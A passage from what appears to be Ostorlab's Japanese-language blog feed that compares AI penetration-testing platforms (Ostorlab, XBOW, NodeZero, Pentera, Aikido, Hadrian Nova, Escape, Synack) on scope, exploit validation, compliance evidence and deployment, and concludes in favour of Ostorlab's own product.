&lt;p&gt;スコープを無視した普遍的なランキングに意味はありません。アプリケーション重視のエージェント、インフラ検証プラットフォーム、外部アタックサーフェスのシステム、人間が関与するPTaaSプロバイダーは、それぞれ異なるセキュリティ上の問いに答えるものです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;プラットフォーム&lt;/th&gt;
&lt;th style="text-align: left;"&gt;対象アセットの種類（モバイル、Web、API、ソース、クラウド/ネットワーク）&lt;/th&gt;
&lt;th style="text-align: left;"&gt;アクティブな悪用エンジン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;自律的な意思決定（エージェント型かルールベースか）&lt;/th&gt;
&lt;th style="text-align: left;"&gt;検出結果の検証方法&lt;/th&gt;
&lt;th style="text-align: left;"&gt;文書化されたコンプライアンスエビデンス&lt;/th&gt;
&lt;th style="text-align: left;"&gt;プライベート/オンプレミスでのデプロイ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://ostorlab.co/" rel="noopener noreferrer" target="_blank"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル：対応、Web：対応、API：対応、ソース：対応、クラウド/ネットワーク：ネットワークアセットに対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Agentic Deep Scanにおける実行時の悪用と概念実証（PoC）による検証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エージェント型の探索、テスト選択、ピボット、脆弱性の連鎖。従来型のスキャンプロファイルも利用可能&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実行時の実証、再現可能なエビデンス、エスカレーション前の検証。完全な排除をうたう主張はなし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;詳細な技術レポートと実証成果物。受け入れ可否は監査人ごとに異なる&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウド、オプションのOn-Premises Scannerあり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://xbow.com/platform" rel="nofollow noopener noreferrer" target="_blank"&gt;&lt;strong&gt;XBOW&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル：公開文書なし、Web：対応、API：アプリケーションを支えるAPI、ソース：コンテキストとして提供可能だが、ソースコードのテストは公開文書なし、クラウド/ネットワーク：対象クラスとしての公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実際に動作するエクスプロイトを生成し、独立して検証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コーディネーターと、特化した自律エージェント群&lt;/td&gt;
&lt;td style="text-align: left;"&gt;検出結果を提示する前に、独立したバリデーターがエクスプロイトを再現&lt;/td&gt;
&lt;td style="text-align: left;"&gt;取締役会や監査人向けのレポート（SOC 2対応を含む）をベンダーが文書化&lt;/td&gt;
&lt;td style="text-align: left;"&gt;データ所在地とコンプライアンスの制御を備えたクラウドデプロイ。オンプレミスでのデプロイは公開文書なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://horizon3.ai/nodezero/" rel="nofollow noopener noreferrer" target="_blank"&gt;&lt;strong&gt;Horizon3.ai NodeZero&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル：公開文書なし、Web：対応、API：Webアプリケーションのコンテキスト、ソース：公開文書なし、クラウド/ネットワーク：対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;内部、外部、クラウド、アイデンティティ、Kubernetes、Web環境にわたる、本番環境で安全な自律的悪用&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AIと決定論的手法による、自律的な攻撃経路の発見と実行&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実証、影響、検証を伴う悪用可能な攻撃経路を報告。本稿では誤検知ゼロに関する独立したベンチマークは使用していない&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SOC 2に沿った監査対応の成果物とレポートが公開文書化されている&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SaaSのコントロールプレーンと、内部テスト用に顧客がデプロイするNodeZeroホスト。完全セルフホストのコントロールプレーンは公開文書なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://pentera.io/pentera-platform/" rel="nofollow noopener noreferrer" target="_blank"&gt;&lt;strong&gt;Pentera&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル：別の専門家サービス、Web：対応、API：アプリケーションのコンテキスト、ソース：リポジトリのテストが文書化されている、クラウド/ネットワーク：対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;インフラ、アイデンティティ、クラウド、外部アセットにわたる、本番環境での安全な攻撃的実行&lt;/td&gt;
&lt;td style="text-align: left;"&gt;決定論的な安全制御を伴う、AIに導かれた攻撃の実行&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実行された攻撃経路と実証された悪用可能性により検出結果を優先順位付け&lt;/td&gt;
&lt;td style="text-align: left;"&gt;監査対応のレポートが文書化されている。署名付きの証明書は別の専門家サービスで提供&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドとハイブリッドのカバレッジ。コンテナベースのオンプレミスソリューションが公に言及されている&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://www.aikido.dev/attack/aipentest" rel="nofollow noopener noreferrer" target="_blank"&gt;&lt;strong&gt;Aikido Security&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル：Androidが文書化されている、Web：対応、API：対応、ソース：対応、クラウド/ネットワーク：クラウドとインフラのコンテキスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自律エージェントが検出結果を悪用し、さらに再度悪用&lt;/td&gt;
&lt;td style="text-align: left;"&gt;連携したエージェントがホワイトボックス、グレーボックス、ブラックボックスのテストを実施&lt;/td&gt;
&lt;td style="text-align: left;"&gt;別の検証エージェントが検出結果を再度悪用し、実証されなかった問題は除外&lt;/td&gt;
&lt;td style="text-align: left;"&gt;監査レベルのSOC 2およびISO 27001レポートと証明書が文書化されている&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドに加え、オンプレミスかつエアギャップ対応のアプライアンスであるAikido Machine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://hadrian.io/products/nova" rel="nofollow noopener noreferrer" target="_blank"&gt;&lt;strong&gt;Hadrian Nova&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル：公開文書なし、Web：インターネットに公開されたWebアセット、API：到達可能な範囲での外部APIの露出、ソース：公開文書なし、クラウド/ネットワーク：外部アタックサーフェスとクラウドの露出&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部スコープに対するエージェント型の偵察、悪用、ラテラルムーブメント&lt;/td&gt;
&lt;td style="text-align: left;"&gt;人間がレビューした結果を伴う、AIハッカーエージェント群&lt;/td&gt;
&lt;td style="text-align: left;"&gt;検証済みの検出結果は人間がレビューし、エクスプロイト手順を含む&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SOC 2、ISO 27001、NIS2にマッピングされたコンプライアンス対応のPDF&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドサービス。プライベートまたはオンプレミスでのデプロイは公開文書なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://escape.tech/" rel="nofollow noopener noreferrer" target="_blank"&gt;&lt;strong&gt;Escape&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル：公開文書なし、Web：対応、API：対応、ソース：コードからクラウドまでのコンテキスト、クラウド/ネットワーク：外部ネットワークのテストが文書化されている&lt;/td&gt;
&lt;td style="text-align: left;"&gt;敵対的検証と攻撃経路の実行を伴うエージェント型テスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;特化したエージェントが情報を共有し、後続のテストを起動&lt;/td&gt;
&lt;td style="text-align: left;"&gt;敵対的バリデーター、決定論的なツール、再現可能なリクエスト、確認可能なプロキシログ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;監査対応のレポートと、SOC 2に関する公開の顧客事例が文書化されている&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドサービス。プライベートまたはオンプレミスでのデプロイは公開文書なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://www.synack.com/" rel="nofollow noopener noreferrer" target="_blank"&gt;&lt;strong&gt;Synack&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル：人間主導のテストで対応、Web：対応、API：対応、ソース：Saraのブラックボックステストでは不要、クラウド/ネットワーク：対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SaraのAIによる発見とテストに、人間によるエクスプロイト検証を組み合わせる&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エージェント型AIに加え、Synack Red Teamと脆弱性オペレーション&lt;/td&gt;
&lt;td style="text-align: left;"&gt;提供前に人間による検証とエクスプロイトの確認&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SOC 2やその他のフレームワーク向けに、作業の証跡を伴う監査対応レポート&lt;/td&gt;
&lt;td style="text-align: left;"&gt;FedRAMP認可済みのインフラを含むマネージドプラットフォーム。オンプレミスでのデプロイは公開文書なし&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;「公開文書なし」とは、その機能を確認できるだけの最新のファーストパーティ情報が見つからなかったことを意味します。その機能が必ずしも存在しないという意味ではありません。また、この表ではローカルの実行ホストやスキャナーと、完全にセルフホストされたプラットフォームとを区別しています。&lt;/p&gt;
&lt;h2 id="2026年に信頼できるaiペンテストプラットフォームの条件"&gt;2026年に信頼できるAIペンテストプラットフォームの条件&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;AIペンテストプラットフォーム&lt;/strong&gt;とは、学習した内容に基づいて行動を変えるセキュリティテストシステムです。信頼できるプラットフォームは、許可された対象を探索し、テストを選択・適応させ、疑わしい弱点が悪用可能かどうかを検証し、エビデンスを保存し、修復後の再テストを支援する必要があります。&lt;/p&gt;
&lt;p&gt;2026年における最も重要な評価軸は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;スコープの忠実度&lt;/strong&gt;：プラットフォームはアタックサーフェス全体（ネイティブのモバイルバイナリ、シングルページWebアプリ、単独のAPI、ソースコード、クラウドIAM、内部ネットワーク）をカバーしているか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自律的な推論か静的なスクリプトか&lt;/strong&gt;：エンジンは実行時のレスポンスに基づいて動的に適応・ピボットするのか、それとも事前定義されたスキャナーをLLMラッパーで編成しているだけなのか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全なエクスプロイト検証&lt;/strong&gt;：検出結果は安全で再現可能なエクスプロイト（PoC）で実証されているのか、それともバージョンバナーや静的なヒューリスティクスから推測されただけなのか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アセットをまたぐ攻撃チェーン&lt;/strong&gt;：システムは、モバイルクライアントやフロントエンドのSPAから、バックエンドAPI、クラウドロール、ソースリポジトリまで攻撃を追跡できるか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;監査対応のエビデンス&lt;/strong&gt;：エンジニアは生のHTTPリクエスト/レスポンス、実行トレース、再現用の成果物を確認できるか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイの制御&lt;/strong&gt;：プラットフォームは厳格なテスト時間帯、データ所在地、ローカルランナー、オンプレミスでの実行に対応しているか&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;Ostorlabの&lt;a href="https://docs.ostorlab.co/" rel="noopener noreferrer" target="_blank"&gt;文書化されたスコープ&lt;/a&gt;は、ネイティブのAndroidおよびiOSテストに加え、Webアプリケーション、API、ソースコード、ネットワーク、関連ファイルにまたがる連携したエージェント型調査に及びます。&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan" rel="noopener noreferrer" target="_blank"&gt;&lt;strong&gt;Agentic Deep Scan&lt;/strong&gt;&lt;/a&gt;を通じて、モバイルとWebの対象に対しAIに導かれた探索とアクティブな悪用を行い、検出結果をエスカレーションする前に検証済みの概念実証エビデンスを生成します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html" rel="noopener noreferrer" target="_blank"&gt;&lt;strong&gt;Multi-Asset Deep Agentic Scan&lt;/strong&gt;&lt;/a&gt;は、個別のテストを実行するのではなく、関連するアセットを横断して同時に推論します。エージェントは、コンパイル済みのモバイルバイナリからエンドポイントを抽出し、認証パラメーターをバックエンドAPIまで追跡し、ソースコードのコンテキストを用いて信頼境界を検証し、複数ステップのエクスプロイトを連鎖させることができます。Ostorlabはクラウドデプロイを提供しており、内部ネットワークに到達するためのオプションとして&lt;a href="https://blog.ostorlab.co/on-premise-vulnerability-scanner-announcement.html" rel="noopener noreferrer" target="_blank"&gt;&lt;strong&gt;On-Premises Scanner&lt;/strong&gt;&lt;/a&gt;も用意しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：モバイルアプリまたはフロントエンドをバックエンドAPIにつなぐマルチアセットのワークフローをテストします。エクスプロイトの実行時の実証を求め、生の再現手順を確認し、修正と再テストの自動サイクルを検証します。&lt;/p&gt;
&lt;h3 id="xbow"&gt;XBOW&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://xbow.com/platform" rel="nofollow noopener noreferrer" target="_blank"&gt;XBOW&lt;/a&gt;は、稼働中のアプリケーションを中心とした自律型のオフェンシブセキュリティプラットフォームです。コーディネーターがアプリケーション、エンドポイント、パラメーター、認証フローをマッピングし、多数の短命なエージェントを指揮して並行して探索と攻撃を試みさせます。検出結果が提示される前に、独立したバリデーターが成功したエクスプロイトを再現します。&lt;/p&gt;
&lt;p&gt;XBOWの公開資料は、エビデンスについて際立って明確です。検出結果には、連鎖した攻撃経路、実際に動作するエクスプロイト、修復ガイダンス、エージェントの判断と戦術のログが含まれることがあります。また、API経由でのプログラムによる評価の起動にも対応しています。&lt;/p&gt;
&lt;p&gt;最も明確に文書化されているスコープは、インタラクティブなWebアプリケーションと、それを支えるAPIです。API仕様、認証情報、アーキテクチャのメモなどのコンテキストで評価を導くことはできますが、現在の公開ドキュメントでは、ネイティブのAndroidやiOSのテスト、直接テストされるアセットとしてのソースコード、一般的な内部ネットワークやクラウドインフラのテストは確認できません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：代表的なAPIワークフローを持つ、認証付きのアプリケーションをXBOWに与えます。インタラクティブなWebフロントエンドを持たないAPIで何をテストできるか、ソースコードは解析されるのかコンテキストとして提供されるだけなのか、自社の地域にどのようなデプロイ、データ所在地、保持の制御が適用されるのかを示すよう求めます。&lt;/p&gt;
&lt;h3 id="horizon3.ai nodezero"&gt;Horizon3.ai NodeZero&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://horizon3.ai/nodezero/" rel="nofollow noopener noreferrer" target="_blank"&gt;Horizon3.ai NodeZero&lt;/a&gt;は、内部ネットワーク、外部への露出、アイデンティティシステム、Kubernetes、クラウドインフラにわたる自律的な検証を目的として位置付けられています。アセットを発見し、弱点を安全に悪用し、攻撃経路をマッピングし、影響を示し、修復後の迅速な検証を支援します。&lt;/p&gt;
&lt;p&gt;2026年7月、Horizon3.aiは&lt;a href="https://horizon3.ai/news/press-release/nodezero-webapp-launch/" rel="nofollow noopener noreferrer" target="_blank"&gt;NodeZeroの対象をWebアプリケーションに拡大&lt;/a&gt;しました。戦略的な利点は、Webの問題をテストの終点として扱うのではなく、アプリケーションでの足がかりから認証情報、インフラ、クラウド、データ、アイデンティティへと進み続けられる点です。&lt;/p&gt;
&lt;p&gt;NodeZeroはクラウドベースのSaaSプラットフォームとして提供されます。内部テストでは、顧客が一時的にデプロイするホストまたは仮想アプライアンスを使用します。このアーキテクチャはオンプレミスのアセットに到達できますが、公開文書化された完全セルフホストのNodeZeroコントロールプレーンと同じではありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：Webアプリケーションから始まり、内部またはクラウドの目標への到達を試みる経路をテストします。新しいWebApp機能の正確な提供状況と利用権、API固有の深さ、安全な悪用のための制御、どのデータがローカルのNodeZeroホストの外に出るのかを確認します。&lt;/p&gt;
&lt;h3 id="pentera"&gt;Pentera&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://pentera.io/pentera-platform/" rel="nofollow noopener noreferrer" target="_blank"&gt;Pentera&lt;/a&gt;は、主に内部ネットワーク、アイデンティティ、外部アセット、クラウド環境にわたる、本番環境で安全な攻撃的テストのために構築されたエクスポージャー検証プラットフォームです。Pentera Coreは内部インフラに、Pentera Surfaceは外部への露出に焦点を当て、&lt;a href="https://pentera.io/pentera-cloud/" rel="nofollow noopener noreferrer" target="_blank"&gt;Pentera Cloud&lt;/a&gt;はAWS、Azure、ワークロード、権限、ストレージ、ハイブリッド環境にわたる攻撃経路を検証します。&lt;/p&gt;
&lt;p&gt;Penteraは、単なるLLMエージェントとして自らを位置付けるのではなく、アルゴリズムによる攻撃とAIに導かれた攻撃を用います。現在の公開資料では、AIがリアルタイムで実行を適応させ、決定論的な制御が行動を安全かつ再現可能に保つと説明されています。その成果は、ビジネスへの影響に基づいて優先順位付けでき、修復後に再検証できる、実行済みの攻撃経路です。&lt;/p&gt;
&lt;p&gt;Web攻撃のテストとコードリポジトリのテストは、より広いプラットフォームの中で文書化されています。モバイルアプリケーションのペネトレーションテストは、ネイティブの自律プラットフォームの対象として文書化されているのではなく、Penteraの別の専門家サービスであるSECTOR11を通じて提供されています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：内部、外部、クラウド、Web、リポジトリのテストにどのモジュールが必要かを特定します。自律プラットフォームの機能とSECTOR11のサービスを区別し、API固有のテストの深さを実演し、オンプレミスの正確なアーキテクチャとデータフローを文書化するようベンダーに求めます。&lt;/p&gt;
&lt;h3 id="aikido security"&gt;Aikido Security&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.aikido.dev/attack/aipentest" rel="nofollow noopener noreferrer" target="_blank"&gt;Aikido SecurityのAI Pentest&lt;/a&gt;は、連携したエージェントを用いて、アプリケーション、API、インフラのホワイトボックス、グレーボックス、ブラックボックスのテストを行います。ソースコードとOpenAPI仕様を用いてアタックサーフェスをマッピングし、攻撃ベクトルごとにエージェントを割り当て、別の検証エージェントを通じて検出結果を再テストできます。&lt;/p&gt;
&lt;p&gt;Aikidoは、自社のコード、クラウド、コンテナ、依存関係、DAST、API、Autofixの各製品と並ぶものとしてAI Pentestを位置付けています。公開資料では、AndroidクライアントとそのバックエンドAPIを対象とするAndroidアプリケーションのテストも文書化されています。調査した公開資料では、同等のネイティブiOSテストは見つかりませんでした。&lt;/p&gt;
&lt;p&gt;規制対象の組織向けには、&lt;a href="https://www.aikido.dev/attack/aikido-machine" rel="nofollow noopener noreferrer" target="_blank"&gt;Aikido Machine&lt;/a&gt;が、エアギャップモードを含め、顧客の施設内にあるGPUアプライアンス上でペンテストのスタックとモデルを実行します。Aikidoはまた、自社のレポートと証明書をSOC 2およびISO 27001のワークフロー向けのものとして明示的に位置付けています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：AI Pentest自体がアクティブに悪用するものと、Aikidoの他の製品から提供されるコンテキストとを切り分けます。Androidの深さ、単独のAPIでの挙動、ソースと実行時の相関、オンプレミスのアプライアンスが必要な規模と更新ポリシーに対応しているかをテストします。&lt;/p&gt;
&lt;h3 id="hadrian nova"&gt;Hadrian Nova&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://hadrian.io/" rel="nofollow noopener noreferrer" target="_blank"&gt;Hadrian&lt;/a&gt;は、インターネットに公開されたドメイン、サブドメイン、証明書、IP、シャドーアセットの継続的な発見から始まります。Atlasプラットフォームが外部への露出を監視し、&lt;a href="https://hadrian.io/products/nova" rel="nofollow noopener noreferrer" target="_blank"&gt;Hadrian Nova&lt;/a&gt;がAIハッカーエージェント群を用いたオンデマンドのエージェント型ペンテストを提供します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://hadrian.io/products/nova" rel="nofollow noopener noreferrer" target="_blank"&gt;Novaの公開ドキュメント&lt;/a&gt;では、偵察、悪用、ラテラルムーブメント、攻撃チェーン、透明性のある推論、人間がレビューした検出結果について説明されています。レポートには、悪用可能性の実証、再現手順、リスクのコンテキスト、修復ガイダンス、SOC 2、ISO 27001、NIS2へのマッピングが含まれます。&lt;/p&gt;
&lt;p&gt;Hadrianの重心は外部アタックサーフェスにあります。ネイティブのモバイルバイナリのテスト、対象としてのソースコード解析、プライベートまたはオンプレミスでのデプロイは、調査した公開ドキュメントでは確認できませんでした。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：認証付きのインターネットに公開されたアプリケーションと連携するAPIを提供し、Novaがアプリケーションのビジネスロジックをテストするのか、主に悪用可能な外部への露出をテストするのかを確認します。どの検出結果が人間のレビューを受けるのか、そのレビューにどれくらいの時間がかかるのか、クラウドリソースがアクティブにテストされるのか外部から発見されるだけなのかを確認します。&lt;/p&gt;
&lt;h3 id="escape"&gt;Escape&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://escape.tech/" rel="nofollow noopener noreferrer" target="_blank"&gt;Escape&lt;/a&gt;は、モダンなWebアプリケーションとAPIに焦点を当てた、アプリケーションセキュリティとオフェンシブセキュリティのプラットフォームです。そのAIペンテストのアーキテクチャでは、クローリング、認可テスト、脆弱性の検証、回帰テストに特化したエージェントを用います。エージェントは発見を共有するため、一つの観察結果が絞り込んだ後続のテストを起動することがあります。&lt;/p&gt;
&lt;p&gt;Escapeは、スクリーンショット、実行ログ、攻撃経路の検証、確認可能なプロキシを通じて実証を文書化しています。以前のレポートを取り込み、後のビルドで以前の検出結果を再実行させることもできます。そのため、特定時点のペンテスト結果を再現可能な回帰テストに変えようとしているAppSecチームにとって、特に関連性が高いものです。&lt;/p&gt;
&lt;p&gt;より広いプラットフォームではコードからクラウドまでの発見と外部ネットワークのペンテストについて説明されていますが、ネイティブのモバイルアプリケーションのテストと、プライベートまたはオンプレミスでのデプロイは、調査した公開ドキュメントでは確認できませんでした。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：複数ユーザーの認可ワークフローと単独のAPIをテストします。完全な推論とプロキシログを確認し、AI PentestingがEscapeのDASTやASM製品とどう異なるかを見極め、サービス契約なしで監査レポートにどのエビデンスが含まれるかを確認します。&lt;/p&gt;
&lt;h3 id="synack"&gt;Synack&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.synack.com/" rel="nofollow noopener noreferrer" target="_blank"&gt;Synack&lt;/a&gt;はハイブリッドモデルを採用しています。自律型のレッドエージェントであるSaraがAI主導の発見と脆弱性調査を支援し、Synack Red Teamと脆弱性オペレーションのプロセスが、検出結果が顧客に届く前に人間による検証とエクスプロイトの確認を行います。&lt;/p&gt;
&lt;p&gt;このため、Synackは完全自律型のプラットフォームとは本質的に異なります。その強みは機械のみによる実行ではなく、エージェント型の規模、マネージドな研究者ネットワーク、監査対応のレポートの組み合わせにあります。Synackは、アプリケーション、API、クラウド、ネットワーク、モバイル、AI/LLMのペネトレーションテストサービスに加え、公共部門の要件に向けたFedRAMP認可済みの提供形態を公開文書化しています。&lt;/p&gt;
&lt;p&gt;トレードオフとして、購入者はすべてのアセットや検出結果がSaraによって自律的にテストされると想定すべきではありません。深さの一部は人間の研究者によるものであり、スケジュールや商用モデルはソフトウェアのみの継続的テストとは異なる場合があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：Sara、Synack Red Team、脆弱性オペレーションの間の正確な役割分担を求めます。テストの頻度、検証の所要時間、研究者のアクセス制御、モバイルのカバレッジ、再テストの条件、最終成果物が想定する監査人や顧客の要件を満たすかどうかを確認します。&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="モバイルアプリケーションに対応しているaiペンテストプラットフォームはどれか"&gt;モバイルアプリケーションに対応しているAIペンテストプラットフォームはどれか&lt;/h3&gt;
&lt;p&gt;Ostorlabは、エージェント型のワークフロー探索と、連携したバックエンドAPIの調査を含む、ネイティブのAndroidおよびiOSテストに対応しています。AikidoはAndroidのAIペンテストを公開文書化しており、Synackは人間とAIを組み合わせたサービスモデルを通じてモバイルテストを提供しています。その他の評価対象プラットフォームでは、ネイティブのモバイルカバレッジは確認できませんでした。&lt;/p&gt;
&lt;h3 id="単独のapiをテストできるaiペンテストプラットフォームはどれか"&gt;単独のAPIをテストできるAIペンテストプラットフォームはどれか&lt;/h3&gt;
&lt;p&gt;Ostorlab、Aikido Security、EscapeはAPIに焦点を当てたテストを公開文書化しており、XBOWはインタラクティブなアプリケーションを支えるものとしてAPIを説明しています。購入者は、「API対応」がOpenAPI仕様の受け入れを意味するのか、アプリケーションのトラフィックの観察を意味するのか、APIを独立した対象としてアクティブにテストすることを意味するのかを確認すべきです。&lt;/p&gt;
&lt;h3 id="aiペンテストプラットフォームはどのように誤検知を減らすか"&gt;AIペンテストプラットフォームはどのように誤検知を減らすか&lt;/h3&gt;
&lt;p&gt;AIペンテストプラットフォームは、悪用の成功、独立した再悪用、決定論的な検証、再現可能なエビデンス、人間によるレビュー、またはこれらの仕組みの組み合わせを必須とすることで誤検知を減らします。代表的な検出結果を独自にテストすることなく、誤検知ゼロという絶対的な主張を受け入れるべきではありません。&lt;/p&gt;
&lt;h3 id="aiペンテストはsoc 2に利用できるか"&gt;AIペンテストはSOC 2に利用できるか&lt;/h3&gt;
&lt;p&gt;AIペンテストは、そのスコープ、手法、エビデンス、検出結果、修復、テスト実施者の独立性が監査人の要件を満たす場合に、SOC 2監査を支援できます。監査対応のレポートを提供するベンダーは複数ありますが、SOC 2によって製品が自動的に受け入れられるわけではなく、最終的な判断を下すのは組織の監査人です。&lt;/p&gt;
&lt;h3 id="オンプレミスでのデプロイを提供しているaiペンテストプラットフォームはどれか"&gt;オンプレミスでのデプロイを提供しているAIペンテストプラットフォームはどれか&lt;/h3&gt;
&lt;p&gt;Aikido Securityは完全なオンプレミスかつエアギャップ対応のアプライアンスを公開文書化しており、OstorlabはオプションのOn-Premises Scannerを提供し、NodeZeroは内部での実行に顧客がデプロイするホストを使用します。これらのアーキテクチャは同等ではないため、購入者はローカルでのスキャン実行と、完全セルフホストのコントロールプレーンおよびモデルスタックとを区別すべきです。&lt;/p&gt;
&lt;h2 id="総合的に最適なaiペンテストプラットフォームはどれか"&gt;総合的に最適なAIペンテストプラットフォームはどれか&lt;/h2&gt;
&lt;p&gt;最適なAIペンテストプラットフォームとは、重要なアタックサーフェスをテストし、悪用可能性を安全に実証し、推論とエビデンスを開示し、修復を検証できるものです。対応する脆弱性クラスの長いリストよりも、代表的な本番ワークフローを通る再現可能な攻撃経路一つのほうが価値があります。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/web_agentic_deep_scan" rel="noopener noreferrer" target="_blank"&gt;Agentic Deep Scan&lt;/a&gt;はモバイルおよびWebアプリケーションとそのAPIにおける悪用可能な挙動を検証し、&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html" rel="noopener noreferrer" target="_blank"&gt;Multi-Asset Deep Agentic Scan&lt;/a&gt;はソースコード、ネットワーク、関連ファイルにまで調査を広げます。&lt;strong&gt;リスクがこうした連携したアプリケーションレイヤーにまたがる組織にとって、これがOstorlabを本評価で最も適した選択肢にしています。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;価値実証において決め手となる問いはシンプルです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;そのプラットフォームは一つの対象で問題を見つけられるだけなのか、それともアセットをまたいで実際のシステムを追跡し、エクスプロイトを実証し、すべての手順を示し、修正を検証できるのか。&lt;/strong&gt;&lt;/p&gt;</content><category term="Product"/><category term="ai-pentesting"/><category term="agentic-pentesting"/><category term="autonomous-pentesting"/><category term="application-security"/><category term="offensive-security"/></entry><entry><title>自律型ペンテスト対従来型ペンテスト</title><link href="https://blog.ostorlab.co/ja/autonomous-pentesting-vs-traditional-penetration-testing.html" rel="alternate"/><published>2026-09-08T14:00:00+02:00</published><updated>2026-09-08T14:00:00+02:00</updated><author><name>Sohaib Harraoui</name></author><id>tag:blog.ostorlab.co,2026-09-08:/ja/autonomous-pentesting-vs-traditional-penetration-testing.html</id><summary type="html">&lt;p&gt;従来型ペンテスト、PTaaS、自律型AIテストを比較します。エージェントがカバレッジとエビデンスで勝る領域、人間が依然として主導する領域、そしてそれらを組み合わせる方法を解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;AppSec責任者は誰しも、やがて同じ予算の問いに直面します。次の1ドルは、もう一度の従来型ペネトレーションテストに充てるべきか、PTaaSのサブスクリプションか、それともエージェント型AIテストのプラットフォームか。&lt;/p&gt;
